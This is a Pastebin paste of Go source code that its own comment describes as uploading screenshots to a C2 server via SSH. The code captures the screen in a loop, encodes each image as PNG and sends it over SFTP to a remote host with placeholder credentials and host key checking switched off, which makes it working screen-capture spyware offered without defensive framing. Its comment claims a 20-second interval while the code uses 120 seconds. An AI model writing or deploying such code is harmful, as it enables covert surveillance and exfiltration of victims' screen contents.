Advertisement
FlyFar

Go Screenshot Uploader

Jul 23rd, 2023
1,270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.88 KB | Cybersecurity | 0 0
  1. /* What do I do?
  2. I upload screenshots every 20 seconds to C2 via SSH
  3. */
  4. package main
  5.  
  6.  import (
  7.     "github.com/vova616/screenshot"
  8.     "fmt"
  9.     "time"
  10.     "github.com/pkg/sftp"
  11.     "golang.org/x/crypto/ssh"
  12.     "log"
  13.     "bytes"
  14.     "image/png"
  15.  )
  16.  
  17.  func uploadscreenshot(imagestr []byte) {
  18.  var (
  19.  err  error
  20.  sftpClient *sftp.Client
  21.  )
  22.  sftpClient, err = connect("username", "password", "server", 22)
  23.  if err != nil {
  24.  log.Fatal(err)
  25.  }
  26.  defer sftpClient.Close()
  27.  
  28.     // walk a directory
  29.     w := sftpClient.Walk("/tmp")
  30.     for w.Step() {
  31.         if w.Err() != nil {
  32.             continue
  33.         }
  34.     }
  35.  
  36.  
  37.     fileloc := fmt.Sprintf("/tmp/%s.png",time.Now().Format(time.RFC850))
  38.     fmt.Println(fileloc)
  39.     f, err := sftpClient.Create(fileloc)
  40.     if err != nil {
  41.         log.Fatal(err)
  42.     }
  43.     if _, err := f.Write([]byte(imagestr)); err != nil {
  44.         log.Fatal(err)
  45.     }
  46. }
  47.  
  48. func connect(user, password, host string, port int) (*sftp.Client, error) {
  49.  var (
  50.  auth   []ssh.AuthMethod
  51.  addr   string
  52.  clientConfig *ssh.ClientConfig
  53.  sshClient *ssh.Client
  54.  sftpClient *sftp.Client
  55.  err   error
  56.  )
  57.  // get auth method
  58.  auth = make([]ssh.AuthMethod, 0)
  59.  auth = append(auth, ssh.Password(password))
  60.  
  61.  clientConfig = &ssh.ClientConfig{
  62.  User: user,
  63.  HostKeyCallback: ssh.InsecureIgnoreHostKey(),
  64.  Auth: auth,
  65.  Timeout: 30 * time.Second,
  66.  }
  67.  
  68.  addr = fmt.Sprintf("%s:%d", host, port)
  69.  
  70.  if sshClient, err = ssh.Dial("tcp", addr, clientConfig); err != nil {
  71.  return nil, err
  72.  }
  73.  if sftpClient, err = sftp.NewClient(sshClient); err != nil {
  74.  return nil, err
  75.  }
  76.  
  77.  return sftpClient, nil
  78. }
  79.  
  80.  func main() {
  81.     takescreenshot()
  82.     for t := range time.NewTicker(120 * time.Second).C {
  83.         _ = t
  84.         takescreenshot()
  85.     }
  86.  }
  87.  
  88.  func takescreenshot() {
  89.     img, err := screenshot.CaptureScreen()
  90.             if err != nil {
  91.          
  92.         }
  93.     buf := new(bytes.Buffer)
  94.     png.Encode(buf,img)
  95.     uploadscreenshot(buf.Bytes())
  96.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement